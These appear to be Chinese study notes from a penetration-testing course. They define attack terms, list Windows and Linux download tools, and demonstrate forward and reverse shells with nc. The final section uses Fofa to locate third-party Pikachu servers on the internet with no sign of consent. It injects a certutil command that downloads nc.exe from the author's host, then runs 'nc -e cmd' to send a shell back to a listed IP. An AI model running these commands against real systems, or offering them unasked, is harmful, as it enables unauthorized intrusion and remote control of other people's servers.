操作系统_名词_文件下载_反弹
- 一、渗透测试
- 1.1、POC、EXP、Payload与Shellcode
- 1.2、后门
- 1.3、木马
- 1.4、反弹
- 1.5、回显
- 1.6、跳板
- 1.7、黑白盒测试
- 1.8、暴力破解
- 1.9、社会工程学
- 1.10、撞库
- 1.11、ATT&CK
- 二、案例演示
- 2.1、基础案例1:操作系统-用途&命令&权限&用户&防火墙
- 2.1.1、Linux常见命令
- 2.1.2、windows常见命令
- 2.1.3、文件权限
- 2.1.3、Linux用户和用户组
- 2.1.5、自带防火墙出站&入站规则协议
- 2.2、实用案例1:文件上传下载-解决无图形化&解决数据传输
- 2.3、反弹shell命令-解决数据回显&解决数据通讯
- 2.3.1、结合案例1:防火墙绕过-正向连接&反向连接&内网服务器
- 2.3.1.1、内网
- 2.3.1.2、防火墙
- 2.3.2、结合案例2:Fofa拿下同行Pikachu服务器
- 三、涉及资源
- 参考视频:https://www.bilibili.com/video/BV1Ay4y1K7X6/?spm_id_from=333.999.0.0&vd_source=93ef4007c464e7143f2a9fb5be297117
一、渗透测试
1.1、POC、EXP、Payload与Shellcode
-
POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
-
EXP:全称 ’ Exploit ',中文 ’ 利用 ',指利用系统漏洞进行攻击的动作。
-
Payload:中文 ’ 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。
-
Shellcode:简单翻译 ’ shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名。
-
几点注意
- POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。
- Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
- Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
- Shellcode与Shellshcok不是一个,Shellshock特指14年发现的Shellshock漏洞。
1.2、后门
- 这是一种形象的比喻,入侵者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置,用于访问、查看或者控制这台主机。
- 这些改动表面上是很难被察觉的,就好象是入侵者偷偷的配了一把主人房间的钥匙,或者在不起眼处修了一条按到,可以方便自身随意进出。
- 通常大多数木马程序都可以被入侵者用于创建后门(BackDoor)。
- Webshell:专门针对web应用(网站)的后门。
1.3、木马
- 就是那些表面上伪装成了正常的程序,但是当这些程序运行时,就会获取系统的整个控制权限。
- 有很多黑客就是热衷使用木马程序来控制别人的电脑,比如灰鸽子、Gh0st、PcShare等等。
1.4、反弹
- 反弹shell是一种网络攻击技术,其基本思想是将受害者的命令行交互(input-output)传输到攻击者的机器上,使得攻击者能够主动地与受害者的系统建立连接并进行控制。
1.5、回显
- 回显通常指的是显示正在执行的命令及其执行结果的过程。
1.6、跳板
- 跳板,简单来说,就是为了隐藏自己的地址,让别人无法查找到自己的位置。
- 通过跳板的使用,可以减少他人查找到你的可能性,同时也增加了被发现的难度。举个简单例子,你在A朋友家玩儿,发现了通往B朋友家的后门,然后你来到了B朋友家,又发现了C朋友家的厨房是和B朋友家相连的,你就顺便来到了C朋友的家,同时C朋友家的厕所又是和D朋友家相连。你在A朋友家做了一些事情,比如设置和修改。A朋友回家了,他会发现有人进了自己的家,但是他顺着路线可以找到B朋友家,通过长期的寻找,终于找到了C朋友家,但他遇见难题了,他并不知道是B朋友家的人动了自己的东西,还是D朋友家的人动了自己的东西。这时,你就是安全的了。这中间的各种朋友关系,其实就是你的跳板。通过这种跳板的转换,我们可以改变自己上网的IP位置,隐藏自己的真实物理位置。
1.7、黑白盒测试
- 白盒测试:是指实际运行被测程序,通过程序的源代码进行测试而不使用用户界面。这种类型的测试需要从代码句法发现内部代码在算法、溢出、路径和条件等方面的缺点或者错误,进而加以修正。
- 黑盒测试:又称功能测试、数据驱动测试或基于规格说明的测试,是通过使用整个软件或某种软件功能来严格地测试,,而并没有通过检查程序的源代码,或者很清楚地了解该软件的源代码程序具体是怎样设计的。测试人员通过输入他们的数据看输出的结果,从而了解软件怎样工作。应该更适合测试网页游戏。
1.8、暴力破解
- 是一种常见的网络安全攻击方法,它利用计算机程序自动尝试大量的密码组合来破解密码。
1.9、社会工程学
- 为某些非容易的获取讯息,利用社会科学(此指其中的社会常识)尤其心理学,语言学,欺诈学将其进行综合,有效的利用,并以获得信息为最终目的学科称为“社会工程学”总体上来说,社会工程学就是使人们顺从你的意愿、满足你的欲望的一门艺术与学问。
1.10、撞库
- 撞库是黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。
- 很多用户在不同网站使用的是相同的帐号密码,因此黑客可以通过获取用户在A网站的账户从而尝试登录B网址,这就可以理解为撞库攻击。
1.11、ATT&CK
- 可以简单理解为描述攻击者技战术的知识库。
- MITRE在2013年推出了该模型,它是根据真实的观察数据来描述和分类对抗行为。
- ATT&CK将已知攻击者行为转换为结构化列表,将这些已知的行为汇总成战术和技术,并通过几个矩阵以及结构化威胁信息表达式(STIX)、指标信息的可信自动化交换(TAXII)来表示。
二、案例演示
2.1、基础案例1:操作系统-用途&命令&权限&用户&防火墙
2.1.1、Linux常见命令
- https://blog.csdn.net/liangpingguo/article/details/79140780
2.1.2、windows常见命令
- https://www.cnblogs.com/air-of-code/p/6015590.html
2.1.3、文件权限
- https://blog.csdn.net/Cyan_Jiang/article/details/129472605
2.1.3、Linux用户和用户组
- https://www.cnblogs.com/auguse/articles/11627325.html
2.1.5、自带防火墙出站&入站规则协议
- https://www.cnblogs.com/whalesea/p/11451604.html
- https://blog.csdn.net/weixin_53009585/article/details/129472804
2.2、实用案例1:文件上传下载-解决无图形化&解决数据传输
Linux:wget curl python ruby perl java
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32
- https://forum.ywhack.com/bountytips.php?download
2.3、反弹shell命令-解决数据回显&解决数据通讯
useradd 用户名 passwd 用户名
测试Linux系统添加用户或修改密码命令交互回显问题
2.3.1、结合案例1:防火墙绕过-正向连接&反向连接&内网服务器
2.3.1.1、内网
内网 -> xiaodi8
-
内网:
- 获取xiaodi8.com的IP地址:47.75.212.155
nc -e cmd 47.75.212.155 5577
通过使用nc
工具,连接到指定的 IP 地址和端口号,并在远程主机上执行一个命令行 shell(将当前终端发送到远程主机上)。
- 获取xiaodi8.com的IP地址:47.75.212.155
-
xiaodi8:
- 使用
nc
监听主机端口 5577
- 使用
-
内网的IP地址:
-
此时在xiaodi8上查看IP地址(xiaodi8获取到内网的终端):
xiaodi8! -> 内网
-
内网:
- IP地址:192.168.46.157
-
xiaodi8:
nc -e cmd 192.168.146.157 5577
-
内网:
- 监听端口5577,没有监听到信息(解决办法:端口映射)
- 监听端口5577,没有监听到信息(解决办法:端口映射)
2.3.1.2、防火墙
xiaodi8 <- aliyun
-
xiaodi8:
- 发送终端到47.94.236.117的5566端口
- 发送终端到47.94.236.117的5566端口
-
aliyun:
- 打开端口监听,监听到信息
- 发送终端到www.xiaodi8.com的5566端口(命令和nc的效果一样)
- 打开端口监听,监听到信息
-
xiaodi8:
- 监听端口,获取到信息:
- 监听端口,获取到信息:
aliyun !-> xiaodi8防火墙 # 以aliyun为基准看,正向连接
正向连接是受害主机监听一个端口,由控制主机主动去连接受害主机的过程,适用于受害主机具有公网ip的情况下。
-
xiaodi8:
- 打开防火墙:
- 打开防火墙:
-
aliyun:
-
发送终端到www.xiaodi8.com的5566端口(命令和nc的效果一样)
-
xiaodi8:
- 监听端口,没有获取到信息:
- 监听端口,没有获取到信息:
xiaodi8防火墙- > aliyun # 以aliyun为基准看,反向连接
反向连接是控制主机监听一个端口,由受害主机反向去连接控制主机的过程,适用于受害主机出网(或出网且没有公网ip)的情况。
-
xiaodi8:
- 发送终端到aliyun的5566端口
- 发送终端到aliyun的5566端口
-
aliyun:
- 进行监听,监听到信息:
- 进行监听,监听到信息:
2.3.2、结合案例2:Fofa拿下同行Pikachu服务器
- 文件下载&反弹shell:
certutil -urlcache -split -f http://www.xiaodi8.com/nc.exe nc.exe
nc -e cmd 47.75.212.155 5566
-
使用Fofa搜索Pikachu:
-
测试Pikachu的命令执行漏洞是否能够执行命令:
-
不行,换下一个:
-
找到一个可以执行的网站:
-
127.0.0.1 & ipconfig
:
-
接下来的思路是:将nc上传到对方的主机上去,再执行命令反弹回来
-
127.0.0.1 & dir
查看文件夹:
-
127.0.0.1 & certutil -urlcache -split -f http://www.xiaodi8.com/nc.exe nc.exe
上传文件
-
nc -e cmd 47.75.212.155 5566
反弹shell到自己的服务器端口:
-
在自己的主机上开启监听,成功获取到shell:
三、涉及资源
- https://www.cnblogs.com/sunny11/p/13583083.html
- https://forum.ywhack.com/bountytips.php?download
- https://forum.ywhack.com/reverse-shell/
- https://blog.csdn.net/weixin_43303273/article/details/83029138